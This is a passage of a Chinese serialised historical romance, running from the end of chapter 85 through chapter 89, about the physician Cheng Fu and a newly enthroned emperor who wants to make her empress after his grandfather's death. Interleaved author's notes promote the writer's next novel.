“……”程芙转过身。 徐峻茂继续道:“这条路他原本可以走得轻松些,偏他非要拒绝怀国公吴祐的好意。” 连一个妃位都不肯承诺,那人家吴家的姑娘又不是傻子,凭何嫁他? “芙妹妹,他是为了你对不对?只有你能劝他。”徐峻茂一把攥住她手臂,不允许她逃避,将她扯向自己,迫她直视自己的眼睛,“只要你劝说他娶吴氏长房女,一切都将迎刃而解,这天下的百姓也能逃离暴君的残-虐,答应我……” “阿茂,你不了解他!不娶吴氏女跟我一点关系也没有。”程芙轻声道,“他不想娶只是因为他单纯没看上,同样如果他喜欢什么女人,谁也阻止不了,包括我。” 其实崔令瞻是个极其有主见且霸道之人,他在她跟前示弱、甜言蜜语、小花招不断,只是因为他喜欢他乐意,却不代表谁就能左右他做不想做的事,包括她。 而她,也做不到要求他娶别的女人。 哪怕用这天下来绑架她。 这天下要是她一个小女子能掌握的,又怎会有这么多是是非非…… 她推开徐峻茂的手,头也不回地逃走—— 作者有话说:提前了一点时间,感谢你们的包容[抱抱] 推一推下本预收文《被登基的前任报复了》,求收藏~~~ 丨前任复仇复到了一个被窝丨被窝外打架,被窝里和好丨 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.【男女双C】【俩人各有各的缺点】【均非真善美】,建议雷点密集/要求主角完美的宝宝谨慎入坑,弃文不必告知,温言善语,你一定发大财!! 2.除了双C不作其他任何保证,架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究 第86章 徐峻茂颓然僵立原地, 芙妹妹长大了,有自己的心事和主意,他望着她的背影, 苦笑了一下。 这是他抓不住的蝴蝶。 她头也不回离开并非生他的气也不是讨厌他, 她只是有些狼狈, 被人勘破了内心深处的秘密。 而他, 只是希望她过得好,哪怕无法拥有。因为芙妹妹心里同样有他, 尽管她的“有”与他的“有”不一样,没关系, 反正她也希望他过得好。 二十上衙时, 徐峻茂骑在马上,看见街上到处都是巡街使、禁卫军以及陌生的军队,之所以这么说是因为他没见过这样的军服, 不是京师内的,灵光陡然一闪,想起来了,这些人是京畿几大营的装束,一股不好的预感浮上了心头。 一辆骡车停在他身前,窗子里露出一张熟悉的小脸,是芙妹妹关切的神情, 对他大声道:“回去吧, 监门校尉不让进城,皇城几处城门全封了。” 昨日休沐,她拜访了手帕交楼姝音,得知楼阁老已三日未归,没想到今早便封了城门, 谁也不知宫城现在是个什么情况。 两盏茶后,程芙和徐峻茂又走到了前日不欢而散的京华河畔,流水淙淙,清澈见底,站在岸边就能望见水底五颜六色的小石头,还有树的倒影,年少的他们。 她盯着水面,徐峻茂盯着她。 她不知道的是,此后一生,在她出现的地方,他的目光从未离开过,直到她的儿子登基。 “这个,是不是你担心的宫变?”程芙的目光始终没有离开倒影。 “皇室子孙过度繁茂其实并不是好事。”徐峻茂说,“古往今来,最是无情帝王家。” “……”程芙蝶翼般的羽睫微微晃。 徐峻茂:“如果……他是最后的赢家,你该怎么办?” “他是亲王时,我们就这样,难道当了皇上还能有何变化?” “你知道我不是问这些。”徐峻茂凝目看着她,“你不怕嫁给他吗?你这样的性格如何在后宫生活?” “我只嫁给值得之人。” 当然,崔令瞻若是就此与她断了,也挺好。 “……”徐峻茂讶异,转而轻轻笑了。 …… 无法上衙的日子,程芙得以与付氏重逢,令她万万没想到的是付氏早已来京。 原来进京那段时日正好有变故,后来凌云入宫,付氏便与翟妈妈照顾凌窈,直到凌窈的身体转好,这才特特上门拜访。 久别重逢,许多话都可以慢下来说,程芙并不急,注意力更多投在了凌窈身上。 气血两虚,明显有亏损之症,细问之下,付氏才偷偷说出了实情,之所以把她带出来,也是想求程芙想想办法。 太医署妇人科的吏目,医术在大昭怎么也得排得上顶尖。 程芙问明缘由,得知十五岁成亲十六岁生子,气得她一张雪白的脸通红。 十六岁的小丫头,自己都还是孩子,居然已经生了个孩子,在普通人眼里并没有问题,可在妇人科医者的眼里完全就是血淋淋。 纵然程芙与凌云闹得不愉快,可付氏于她有恩,凌窈只是无辜的少女,自没有袖手旁观的道理。 幸而凌窈比她想象得温柔懂事,命途多舛过得不好的人通常都很刻薄易怒,受不得刺激,她怎么也没想到此刻坐在她面前的少女竟是那般文静温柔,甚至有点儿胆小。 凌窈有羞涩有惶恐,却十分配合。 因为哥哥说走出来的第一步是拥有一副强壮的身躯。况且别的女孩子担忧的生计问题在她这里都不存在,她不用为以后的人生发愁,因为哥哥就是她的底气。 只要她愿意,永远都是凌府的大小姐,无需看外人脸色便可锦衣玉食。 有底气的人,情绪自然稳定。 一来二去,大家渐渐熟了。 凌窈敢于打开心扉,正视身体的大小毛病,在程芙和付氏的努力下逐渐痊愈。 那些毛病本来就不难治,难的是有人为女人治。 当晚入睡前,程芙数了数日子,不知不觉竟已三月廿八。 十几日翻了过去。 为何一点动静都没有? 她甚至开始惧怕听见消息,更怕听不见任何风吹草动。 这段时日,其实大家都没有闲着,徐峻茂去老师家里打听,她则联系楼姝音,姨母时不时去趟国公府,来往皆如石沉大海。 就连付氏都说:“至今都没有阿云的音讯。” 程芙有时还会想,那日在马车上,早知如此就不把话说得那么难听,让崔令瞻眼含几分伤心几分怒意。 凌晨时分,皇城附近的居民听见了浑厚深沉如檀的丧钟声,景暄帝驾崩。 程芙从噩梦中坐起,一摸脸颊竟是湿的。 大昭的国丧制度在祖宗传统的基础上改良不少,三年制有伤天和,更不利于民生,早已取缔。现今普通百姓只需服丧二十日,三十日不得出现婚嫁、同房等诸多喜庆活动;京内文武官员以及宗室则相对严苛一些,需服丧二十七日,半年内不得婚嫁、同房等等。 此举极大地减轻了民众负担,也尊重了儒家传承。 故而百姓一听见宫城传来丧钟都不再如惊弓之鸟,更多的则是担忧新帝是否还能继续给他们太平的日子过。 天不亮差役就开始挨家挨户通知官员如常上衙,同时发放缟素,禁佩戴任何金银玉器。 程芙问:“请问新帝是先前哪位皇子?” 那差役本不耐烦,抬眸看了看程芙,语气立时变得和气,回道:“毅王。” 站在前面的柳余琴惊讶程度完全不亚于程芙,转而在心里狂喜,攥紧了手心,好好好,只要不是太子不管是谁继承都好。 程芙心如擂鼓,雀跃不已,表情倒是看不出分毫,始终保持沉痛悲戚,和姨母一样,半分喜色也不敢流露。 国丧期间露出笑脸,怕不是嫌命太长了—— 作者有话说:没有二更哦,晚安[抱抱] 第87章 以程芙的身份还不够格参与整个丧礼, 只需服丧正常上衙即可。 京师的各家命妇当晚便入宫哭祭去了。 次早程芙走进皇城,入目白茫茫一片,到处挂着惨白的素幡, 来往的人不论官职大小, 皆服简单的圆领青衣, 外罩缟素丧服, 系着麻绳,着草履。 同僚相见各个低眉敛目, 悲不自胜。 短短不过半日,各种渠道飞出来的消息亦真亦假, 程芙仔细凝听, 据说皇上生前抓了不少人,包括翰林学士方柄直,就连前太子妃的娘家也出了事, 等尘埃落定,才在新帝身边驾崩。而皇后,也就是如今的太皇太后,当着内阁众位阁老的面,双手捧出遗旨坐实了新帝的名正言顺。 之前的太子,仅以一句“被废为庶人看守皇陵”一带而过。 景暄帝的丧礼从守灵哭祭到梓宫动身,前后持续了二十日, 直至初夏四月十九才竣事, 紧接着便是新帝登基,继承乾坤,改国号为明启。 此乃大昭最为庄严重要的国事,国不可一日无君。 时下新帝一登基就该册封后宫,这与守孝半年并不冲突, 因为册封不代表临幸,而那些在先皇驾崩前便怀有身孕的妃嫔则不在列,算不得逾矩。 然而新帝身边一个女人都没有,这就略有些尴尬了。 正常来说,登基前就会有专人采选,区别于秀女的采选,而是有目标地从重臣未出阁的嫡女庶女里选一批充入后宫,既是门面,亦是帝王给予宠臣的特殊恩泽,有利于增进君臣之谊。 只不知为何一直没有人着手操办,新帝也不闻不问,最后半点浪花也没有地搁浅了。 …… 短短数十日,恍惚物是人非。 付氏和凌窈照旧时不时拜访程芙。 “阿云真是福大命大,不但从宫里全须全尾回来,还受到了先帝嘉奖。”付氏双手合十,无比庆幸道,“如此也算戴罪立功,原先我们一直害怕王爷……呃不,皇上为难他呢。” 怎可能,凌云是忠君,如因燕阳潜伏一事就治他的罪,岂非违逆先帝?崔令瞻再傻也不至于做那种蠢事,他和凌云不睦的缘由主要是女人……说出来挺不光彩的。 但是男人之间的嫌隙哪来那么多宏伟壮阔,很多时候恰恰就是一些鸡毛蒜皮的小事。 程芙略略难以启齿,讪讪道:“不会的,皇上才登基,于情于理都不会无故残害先帝重臣。” 闻听此言,一直沉默的凌窈视线才微微亮,抬眸看向程芙。 哥哥是她此生唯一的依靠了,她肯定承受不起再次失去亲人的打击,程芙的话无疑给了她巨大的希望。 程芙抿唇莞尔一笑。 凌窈:“谢谢你,芙姐姐。” 哥哥说芙姐姐是很好的人,医术高明,素来怜惜女子。 程芙:“我听大娘说你也对岐黄之术感兴趣,这是好事,不管能否精进,了解医道常识于自己和家人都有益无害。” 凌窈乖巧地点了点头,找点感兴趣的事做,灵魂便有了出口,所以她开始跟着付大娘钻研岐黄之术。 明明一切都在往好的方向发展,柳余琴却渐渐坐立不安,偏偏程芙还像个没事人,反倒是她先沉不住气,待客人一离开,便将程芙召至跟前询问道:“你没得罪毅……皇上吧?” 程芙摇了摇头。 “他……他,宫里怎么一点消息都没有?”柳余琴蹙眉道,“再拖下去,不知有多少贵女先入宫,再阻拦可就来不及。” 没有人能对皇后宝座真正无动于衷,柳余琴也不例外。理智上她能列出做皇后的一百条好处,只要好处足够多,男人就是可有可无的摆件,然而情感上过不去,毕竟阿芙年纪还小,很难有中年人看透事情本质的洒脱,不一定承受得住与别人分享丈夫。 殊不知皇帝不是丈夫,而是未来孩子所能拥有的最好的爹,选对爹,孩子受用一生,家族福泽数代,就看阿芙怎么想了。 没想到阿芙啥都没想,那双平静的眉眼里完全没存过一分一毫的纠结。 “他身上还穿着衰衣,不来找我是对的。”程芙说。 “我知道,可他为何不册封你……” “因为我还没同意。” “……?” 柳余琴张大了嘴巴,难以置信瞪着外甥女。 二十七日服丧眨眼结束,人们更换素净的常服,此时的民间重获操办喜事的自由,只不过不宜过分张扬,好在小老百姓兜里也没有张扬的本钱。 待到五月初三,临近端午节,天气越来越热,宫里来人送了一些冰和容易保存的瓜果。 内侍和宫女将东西一一抬进柳宅,没有任何解释,都是低着脸,福一福身便退下。 程芙和姨母对视一眼,就见墨砚笑吟吟走来,对她拱手施礼,这可是正三品大珰,程芙不敢托大,稍稍侧过身。 墨砚:“许久未见,程吏目一切可好?” 程芙:“多谢大珰惦念,我很好。”她偏头看了看堆满明间的礼盒,“劳烦大珰替我回禀皇上,我不需要这些,请他以后莫再如此。” 墨砚笑容不变,点头应下,至于听不听,那是皇上的事。 他亲手递给程芙一封书信和一只宝匣,道:“这是皇上吩咐奴才必须亲手交于您的书信和玉镯。” “玉镯乃燕王妃生前遗物,留给儿媳之物,皇上说您若还没想好就先收着,想好了便戴上。过些日子,他再找您叙旧。” 说完不等程芙做出反应,就像一条滑不溜手的泥鳅作辞离开了。 打开书信前,程芙早作预料,不过是些甜言蜜语,哄着她从了他的话,亦或嬉皮笑脸调戏,或许还会多几分不可一世的得意,毕竟此人摇身一变,成为天下共主。 谁知信的内容竟一本正经,说的是他入宫后与皇祖父皇祖母相处的点滴,无比凶险的宫变则被一句“一切顺遂”带过。 他没有忘记誓言更没有忘记她。 待到九月中秋就能除孝,他希望那时能迎娶心爱的女人,册封她为皇后。 柳余琴站在明间,双手捧心,搓了搓,倒不是眼皮子浅为礼品傻乐,而是礼品传达了一个讯息——皇上不仅尚未册封后宫任何人,且到如今还记着阿芙。 端午节那日,程芙推了一些邀贴,窝在家中整理情绪,柳余琴明白她心里藏着事,仔细考虑也好,再泼天的富贵都不如自己一生一世快活。 谁知墨砚再次登门,为的还不是私事,使得程芙连拒绝的余地都没有,只得任由马车接她入宫。 那人一身月白色燕居服,墨发及腰,简单半束脑后,唇红齿白,神采奕奕,从奏折里抬眸看向款步迈进书房的她,目光如水,故意瞪她,道:“好大的派头,足足来迟一盏茶,朕都快要请不动程吏目尊驾。” 程芙嘴角微微抿,垂眸屈膝问安:“陛下万岁。” 崔令瞻歪头打量她,推椅起身,边朝她走边道:“冷冰冰,又拿乔气人,不过三十余日未见便忘了我吗?” “你……”程芙咬了咬唇,熟悉的热息甫一靠近,她的心脏陡然乱了一拍,脚步就比脑子更快做出反应,往后退了半步。 崔令瞻轻笑,“你怕我啊?” “我怕你胡来连累我名声。”她蹙眉。 “我只是想看看芙娘,再忍不住也不会犯糊涂。”他主动拉起她的小手,捏了捏,“坏女人。” “你身体不适找我一个妇人科的坏女人有什么用?” “明知故问,当然是求对症之药。” 他笑着捧起她的脸,让她面对自己的眼睛。 第88章 “何为对症之药?”她问。 “你猜。” 她知道答案, 不耐烦与他周旋,眼睫轻眨,移开了视线, 咕哝道:“谁要与你调-情。” “知道答案还问, 你是不是想听我说芙娘, 我想你, 除了政事,每时每刻都用来想你。喝一口新鲜的兰霜茶, 我会想你一定也喜欢,你那么馋;看见鹅黄色的牡丹, 我会想曾经你也穿过一条鹅黄色牡丹纹样的绣裙, 从我眼前路过,比花还美……” “……” 他低头,热乎乎的唇贴上了她的额头, 烫到了她,也惊了她,心脏猛一趔趄。 程芙努力后仰,一眨不眨望向他,腰肢还被他箍住,离开不了分毫,唯有上半身是自由的, 他也看着她。 视线胶着, 渐渐变得粘稠,他的热息,他的唇,无声地压迫越来越稀薄的空气,明明还有一段距离, 明明他没有继续狎昵的意图,可她就是莫名慌乱。 “不要这样……”程芙被眼前的男人盯得有些魂不守舍,一阵干涩烧得喉咙发痒,不由自主咽了下。 “不要哪样?崔令瞻被她的反应逗笑,“我还什么都没做。” 程芙的脑袋轰然一声,红潮从脸颊一路烧到了脖颈,握紧了拳,努力隔开彼此之间那道缝隙,试图泾渭分明。 “你总是让我理不清我们之间混乱的关系。”她眼眶微微发红。 “它本可以不混乱,你给它定义。” “我定义?” “是。” 她冷笑几声,多少带着些报复的心理道:“我叫你做我的玩-物,你敢吗?” 崔令瞻笑了笑,原来她知道他爱她,若非有此依仗,谁敢对帝王说这种话。 他回:“好啊,等出了孝期,随你玩我好了。” “玩”字咬得很重,意味深长。 “……”程芙僵住。 可他并不想只图口舌之快,他把她的掌心贴在自己的胸膛,心脏的位置,轻声道:“我的心在你手里,你总说我欺负你,可你也从来没让它好过一天呀,还不能解气?” “是你,先欺负我。”她的控诉染上了一抹鼻音。 “可是芙娘已经叫我吃足苦头,我被教训得还不够吗?”崔令瞻倾身拥抱她,吸了口气,叹道,“相爱为何一定要分个输赢呢?” “我没有要与你分输赢,也没有爱上你。” “不要说谎,我就是说谎的下场。”他微微扬唇,“不过我可舍不得像你对我一样对你。” 程芙低下头,偷偷用手背擦拭眼角,却被崔令瞻捏住下巴,重新提起。 他单手掌住她一侧的粉腮,覆上自己热情的唇,啮咬她不老实的唇瓣,聆听从柔软的香甜的濡湿的口腔中溢出的嘤哼,感受到她的身躯不断下沉,最终完全依附他手掌的力量,在他托起的世界里勉强站稳。 崔令瞻慢慢分开纠缠的唇,低哑道:“你尝起来甜甜的,像葡萄,闻起来像……”他想了想,笃定道,“像葡萄的叶子。” “……” “葡萄”趴在他怀中,神情狼狈,呼吸凌乱。 崔令瞻教她双手环住自己的脖颈,亲密相拥。 养心殿沉香缭绕,静寂只余下闷闷的心跳声,他们久久不曾分离。 两刻钟后,崔令瞻倚靠龙椅而坐,怀中依旧抱着程芙,两人低低絮语,他不时啄一口那张近在咫尺的小脸。 “芙娘,你可知皇祖父为何选我?” 程芙一怔,抬眸望着他,轻启红唇:“因为废太子着实不配,人为瘟疫都能使出,这样的君王与商纣、夏桀毫无分别,迟早毁了崔氏的江山。” 崔令瞻点点头,“崔逞乾不配确实是其一,皇祖父却跳过几位皇叔选了我,因为……我最富有,我治下的燕阳-物丰民安,那么治理江山自然也不会逊色到哪里。” 程芙嚅嚅嘴唇,“嗯,你会是个明君。” “芙娘,你看皇祖父多明智多务实,他想要的东西自己做不到没关系,但一定会选一个能做到的继承人。” “你想跟我说什么?” “我想说你憧憬的国,憧憬的完美爱人,可能并不存在,但是你可以亲手塑造。”他乌黑的星眸如同漩涡,深深吸进了她的魂魄。 程芙完全愣住。 她忍不住推开内心那扇小门,门里柔情万种,每一个深夜缠绵相拥,无微不至地呵护,高热时不厌其烦地为她擦身、喂她喝水,刻薄又温柔,叫她又恨又无奈。 时常嘴上吓唬她,可她真闯了祸,他也只能亲亲她抱抱她。 程芙的鼻管陡然剧烈一酸,有点疼,眼眶决了堤,不管看什么都水光一片。 崔令瞻用手指用衣袖一下一下为她擦拭,柔声道:“不能哭,哭坏了谁来救朕呢?朕有疾,往后每一天都需要芙娘。” “可我不喜欢与皇帝做夫妻。” “为何?” “每隔三年皇帝都要征选秀女,后宫佳丽无数,这些人里但凡有一个沾染病气,就能通过唾液、房帏之液传递,皇帝便是其中最脏的一环。”她无比严肃道,“共用夫君比共用刷牙子(古代对牙刷的称呼)还脏。” 比起情感上的缺失,她更怕得病。 “有道理,听起来真恶心。”崔令瞻被“共用刷牙子”的比喻震惊,胃部一阵翻涌,好半天才压下去,沉声道,“那就咱俩好吧,我只有你,你也只有我,如何?” 程芙掀着眼皮打量他,显然是不信的。 “孝宗与张皇后都能一生一世一双人,我肯定也能。”崔令瞻不服道,“远的不提,只讲我皇叔瑾王,他可是为姚侧妃散尽后院,恩爱十七年不衰。” 瑾王与侧妃的佳话大昭无人不识无人不晓,若非姚侧妃出身贱籍,早就被立为瑾王妃。 程芙扭过头,咬一咬嘴唇,哼道:“我回去考虑考虑。” “拿乔!”他佯装生气,凶巴巴地捏她脸颊。 程芙挣扎,被他顺势箍进怀中,动弹不得。 孝期的他自是不会真将她如何,他有理智也有自制力,却忍不住痴痴地看着她,凝视她薄愠的眉眼,许久许久,直到她再也使不出力气,发不了脾气—— 作者有话说:[抱抱][抱抱]感谢支持!!《 》 【完结】 第89章 新帝龙体不适, 隔三差五就要召见太医署妇人科的程吏目。 身为妇人科之首的谈御医乍然得知此事顿觉眼前发黑,见多识广的她很快又冷静下来,开始从蛛丝马迹里寻找渊源, 找不到任何头绪…… 唯一能联系起来的仅有皂河县瘟疫一事, 当时程吏目身为特使前往疫区, 后来疫区就多了一个还是毅王的新帝, 然而特使有三人,毅王与程吏目也没有交集, 这二人怎么突然就好上了? 包吏目小声道:“还用啥交集啊,男的看见美人不都这样, 比如荀御医……” 谈御医脸一黑, 瞪她。 包吏目慌忙捂紧嘴巴。 关于程吏目,新帝完全可以藏着掖着,或者直接册封塞进后宫, 何以如此大费周章?有些人越看越糊涂,有些人则意识到了什么。 所以长得漂亮真的能当饭吃啊,还是个寡妇呢,就被新帝看上,莫非要效仿赵姬刘娥之流? 难免有人为此红了眼捏紧拳头,愤愤不平。 太皇太后也为此忧心过,不过她忧心的是阿诺情热性急, 万一犯了孝期的忌讳, 留下叫人诟病的话柄。 遂派绮若打听一圈,方得知阿诺与那小吏目会面的地方有时是养心殿的书房,有时是御花园,两个人从未在隐秘小室相处过,见了面不是品茶便是赏鱼, 亲昵有余倒也没犯戒,相处时再稀松平常不过,偶尔一起用膳,也是素食无酒,更别提丝竹舞乐了,叫人挑不出一点错。 其实皇帝茹素三个月即可,长久下去容易伤身,普通人也就罢,龙体却关乎天下,太皇太后深知此事,因而叮嘱御膳房一定要在六月底恢复皇上的正常饮食,现在的饮食里必须加鸡蛋。 至于皇上青睐什么样的女人,太皇太后选择睁只眼闭只眼了事。 毕竟程吏目的存在至少证明阿诺好女子,总比后宫一个女人都没有来得让人安心。况且程吏目还是个正常的女人,小有政绩。 不怪太皇太后多想,一个二十好几无妃无妾,甚至通房都没有的皇室男子,明显不正常。 这样的恐惧太皇太后只敢埋在心里,也遣人试探过,结果毫无进展,就在她心生绝望之际,阿诺突然表现出对女人有兴趣,她哪里还有挑三拣四的心情,只庆幸都来不及。 喜欢女人就好,皇宫最不缺的便是女人,来日方长。 然而令太皇太后万万没想到的是阿诺要立程芙为皇后。 炎夏午后,祖孙二人坐在凉爽的次间里谈话。 太皇太后蹙眉道:“哀家倒也不是非要讲究皇后的门第……” “程吏目门第很好呀。”崔令瞻微微笑,“她靠自己考进太医署,还为生母请封,莫说是一个毫无根基的女儿家,便是男子又有几人能做到?孙儿欣赏这样的人,觉得她可以胜任世间万事,什么都难不倒她。” “皇祖母,她也不是寡妇,她的夫君一直都是孙儿。” “孙儿爱慕她,从第一眼便惊为天人,我们在燕阳生活过一段时间,可那时孙儿傲慢无礼,娶她之心又过于急切,不惜要为她改换身份,如此不尊重她的生母,伤透她的心,我们才分离了很长一段时间。” 太皇太后张口结舌,眼睛越瞪越大,信息量略大,一股脑闯进了耳朵。 崔令瞻:“美貌只是芙娘最小的一个优点,孙儿爱慕的也不止是她的美貌,更欣赏她的韧性与天赋,还欣赏她有一颗慈悲之心,她比任何人都能共情底层女子的疾苦。” 他承认若无那样的美貌,第一眼可能就忽略了她,可通过她的美貌,他爱上了一个人完整的灵魂。 没有比爱上完整的灵魂更牢固的感情了,此后再不会转移。 “皇上早已是大人,有自己的决断,哀家不会干涉。”其实也干涉不了,阿诺又不是幼帝,而是成熟的帝王,兵权财力皆有,倒真不用看谁的脸色治国。他如此真诚地向太皇太后坦白,完全出于亲情,他希望得到亲人的祝福。 太皇太后通透了大半辈子,又岂会在这种无关痛痒的事情上与皇帝较真呢?她释然一笑,点点头道:“好,哀家相信你的眼光,也望你们未来恩爱两不疑,福寿绵延。” …… 天气炎热,柳宅清凉舒爽,房间里铺着地砖,青花瓷大缸盛着满满的冰块,干净的明瓦窗子将酷热暑气隔绝在外。 每日天不亮便有宫人前来送新挖的冰块,还有分隔好的小块,用来做冰碗,此外御用的北疆西瓜、蜜瓜、葡萄不断。 柳余琴感叹有钱人的日子实乃穷人无法想象,冰块还能论缸论缸地用。 事情的进展也远超她的想象,阿芙从宫里回来时,心情不再低落,脸颊有红润的光泽。 表面是应了好女怕缠郎的古话,实则缠郎本就符合好女的心意,至少某一方面甚合心意的,不合心意的死缠烂打便是困扰。 女方存有好感,男方坚韧勇敢,方能成就佳话。 今年中秋恰在先帝驾崩不久,加上皇帝与各位宗亲尚未出孝期,京师之内谁也不敢大操大办,官府更是在月初勒令取消灯会必备的鼓乐。 难得没有宵禁的日子,少了些烟花笙歌也无妨,人们还是很开心能出来玩一玩,赏灯赏月。 这一日,崔令瞻于宫中陪侍太皇太后,晚上更要参加宗亲家宴,而程芙也要陪自己姨母,见不了面,崔令瞻便早早命人做了一盏琉璃鲤鱼灯并一大筐新鲜肥蟹送去双槐胡同。 柳宅地方有限,若是送多了绫罗绸缎、珠宝首饰,不仅安置空间不足也不安全,那就干脆送珍馐美味,从未断过。 崔令瞻对程芙一向大方,何况还是快要哄到手的媳妇,大方起来更是没话说,竟直接送她银票,方便携带容易储藏…… 程芙头疼,倒不是矫情,一来没到时机,二来她和姨母的日子过得还不错,平白拿这些银票也没处花,反倒惹眼。 她请来使给皇帝递个话:“皇上的好意我心领了,只是现在还不能受,他若非要给不可,将来放进聘礼便是。” 哪有人上来便送人一摞大额银票,俗不俗…… 宫人躬身笑呵呵领命,对程吏目自称“我”与皇上对话见怪不怪,因为皇上对程吏目也不用“朕”啊。 再稀奇的事儿见多了也就不稀奇,这俩人是一个愿打一个愿挨。 来使回宫后,程芙换了内室常穿的衣裙,里面一件抹胸,外罩蜜合色宽袖中长衫,青丝全部堆在左侧,露出了右侧雪白的颈项和锁骨,柳余琴望见了,惊讶不已,问道:“你的玉佛呢?” 那可是阿芙生母的遗物。 程芙僵顿,脸颊带着颈部一道通红,支支吾吾道:“被皇上拿去了……” 柳余琴:“……” 她清了清嗓子不再多问。 程芙的视线盯着妆台的玉镯看了片刻,崔令瞻终日念叨送了她一只母后最爱的玉镯,便“强行”拿走她最宝贵的玉佛,声称互换定情信物,以后她最重要的人戴着她最珍视的玉佛,都是她的…… 说到底,这个人还是缺乏一点安全感,仿佛多占据几个“最”,她就再也离不开他了。 她在心里有些阴暗地想,活该。 假若余生真如他立下的誓言,她当然会与他好好过日子,一生一世待他好,可她就是不愿告诉他一些事情,比方说一见钟情的秘密,比方说喜欢他的身体,喜欢他的柔情,到喜欢完整的崔令瞻。 她永远都不会告诉他一些深刻的颤动心扉的爱意。 她要他在完美的结局里留存一份谨慎,谨慎地拥有她。 这才是对崔令瞻最好的惩罚。 他说的没错,她确实是个“坏女人”,谁让他先招惹她的呢? 秋分来到,天气转凉。 京师有不少节气习俗,竖鸡蛋、粘雀嘴、拜月、放纸鸢。 糊纸鸢时程芙听到了一个久违之人的消息,马嫂子来到窗前,温声道:“大人,有人要见您……” 大家对程芙的称呼从“奶奶”改为大人,模糊了寡妇的身份,主要是柳余琴觉得不吉利,毕竟程芙并非真的寡妇。 程芙见马嫂子神色纠结,料想她认识那人且感到了些许麻烦。 “是谁?” “凌大人。” 一个长达半年都没再见过面的人。 她与他隔着一条街,其实挺近的,恩怨开始时程芙郁愤难消,喊打喊杀,后来从他妹妹口中得知他也不好过,当年为了带她回京被崔令瞻的人连捅三刀,第三刀距离心脏仅有一寸,命悬一线。 崔令瞻是真的要他的命,他活下来完全就是奇迹,亦是先帝有心维护,并非崔令瞻善罢甘休。 所以那次她为了姨母上门求救,发现他面色惨白、身形消瘦,应该尚处于养伤期间吧,但他宁愿与她阴阳怪气讲话,也没有以此要求她偿还些什么。 连一句“就是因为你这个赔本买卖我差点丧命”都没说,其实他可以说的,那她肯定愧疚。 后来又受了一次重伤,他误以为她与崔令瞻已了断,妄图霸占她那回,那次是他活该,也受到了不亚于第一次的教训,当然崔令瞻也因此事被先帝关在养心殿罚跪,据说还挨了打,这些她完全不知情。 许多事情她都不知情。 所有的细节是在一次次闲谈中拼凑起来的,凌窈知道的比她多。 凌窈感激先帝对凌府上下的维护,正是有先帝的遗命,崔令瞻才不得不为原大理寺卿凌怀槿平反,才没有登基后报私仇,因为他知道崔氏的江山里有凌家的血。 然而平反又怎样,凌怀槿和妻子早已在流放途中尸骨无存。 凌窈说这些的时候没有流泪也没有表现得很激动,只是非常平静地述说。 当一整个脉络拼凑完,那些汹涌的跌宕的情绪也都平息了,怨与恨皆化为了齑粉。 过得好的人往往都宽容,凡事看得开,其实她早就不恨凌云,也没想过还能再交集。 凌云也没想到阿芙竟真的站到了他面前。 她被养得很好,肌肤泛着光泽,美丽的眼睛如两汪明月。 他们在一家熟悉的小面馆坐下,是她第一次请他吃饭的地方。 程芙打量着凌云,比从前瘦了一些,气色还不错,不再那么惨白,俊美如初,如果他不压低眉眼讲话,看起来就是个亲切又极好说话之人。 她问:“身体好了吗?” “好了。”凌云凝眸看她,“多谢你照顾阿窈,还教她医术。” “凌大人护送我回京,改写了我的人生,与之相比我做这些都是应当的。” “即便她不是阿窈,你也会帮的,你总是同情弱小。” 程芙点点头,“我吃过苦。” 他垂下眼帘,沉默片刻,低低道:“如果可以的话,我想在见到你的第一眼就带你走,而不是等你进了王府。” 她一时想不起与他的第一次见面,本身就是模糊的,又隔了两年,便斟酌道:“那很难,我当时就像个乞丐,呃,其实就是乞丐,你呵斥我离毅王远一些。” 她饿了一天,穿着脏兮兮的粗布短褐,妄图送崔令瞻一枝杏花。 凌云摇头说:“不,那是你第一次见到我。” 而他,比她更早。 他站在福仙楼的二楼窗前,与对面的毅王一同眺望澹州春日的喧嚣,看见她一尘不染独坐街角,过往的男人不时投来惊艳的目光。 那么美,有谁能忍住不仔细看她呢? 她被一群男人围着嬉笑,渐渐把脑袋埋进臂弯。 他应该找个托词留下,然后把她带走,带她去京师,或者别的更远的地方,至少不该让她落入捕快手中,被人告上公堂。 从她走进王府那一刻,就注定是他一生都得不到的女人了。 果然没过多久,她就被崔令瞻“玷污”,他好恨,想吐又吐不出,无处发泄。 而她为了自由竟不惜与崔令瞻逢场作戏,委身承欢,他对她有一种病态的莫名的愤恨,通过漠视与讥讽来表达。 凌云眨了眨眼,从冗长的疼痛中苏醒,淡淡道:“阿芙,我要离开京师,付大娘也跟我们一起走。” 这个程芙早已知晓,凌窈和付氏前几日曾过来告别。 她想了想道:“你知道的,皇上其实并不敢……” “是我要走。”他道,“因为我恨你。” “……” “我不想看见你们大婚,不想再遇见你。” “我们不会再见面。” “那是你,而我,崔令瞻一定会逼迫我参加封后大典,再给我指一门婚事,叫我在痛苦的余生里目睹你们过得有多好。” “强行指婚确实很过分。” “我说这些并不是来诉苦,我只是要告诉你,我不会祝福你,也不想知道你们过得好不好,我回范阳,想要什么样的女人都有,再也不会想起你。” 程芙低眸道:“那很好,你觉得开心就好。” 顿了顿,想起他还有阿窈和付大娘,便好心劝道:“可你不是一个人,你要养家,即便现在阔气,长久下来也吃不住嫖赌二字,希望你念在阿窈和付大娘的份上,莫再去青楼鬼混,正经成亲,纳几个好好过日子的女人吧。” “用不着你教我做事。”凌云站起身,丢给掌柜的一角碎银,抿一抿唇,淡淡道,“我喜欢青楼的女人,她们说话好听,我听着开心。” 显然这是一场不怎么愉快的道别。 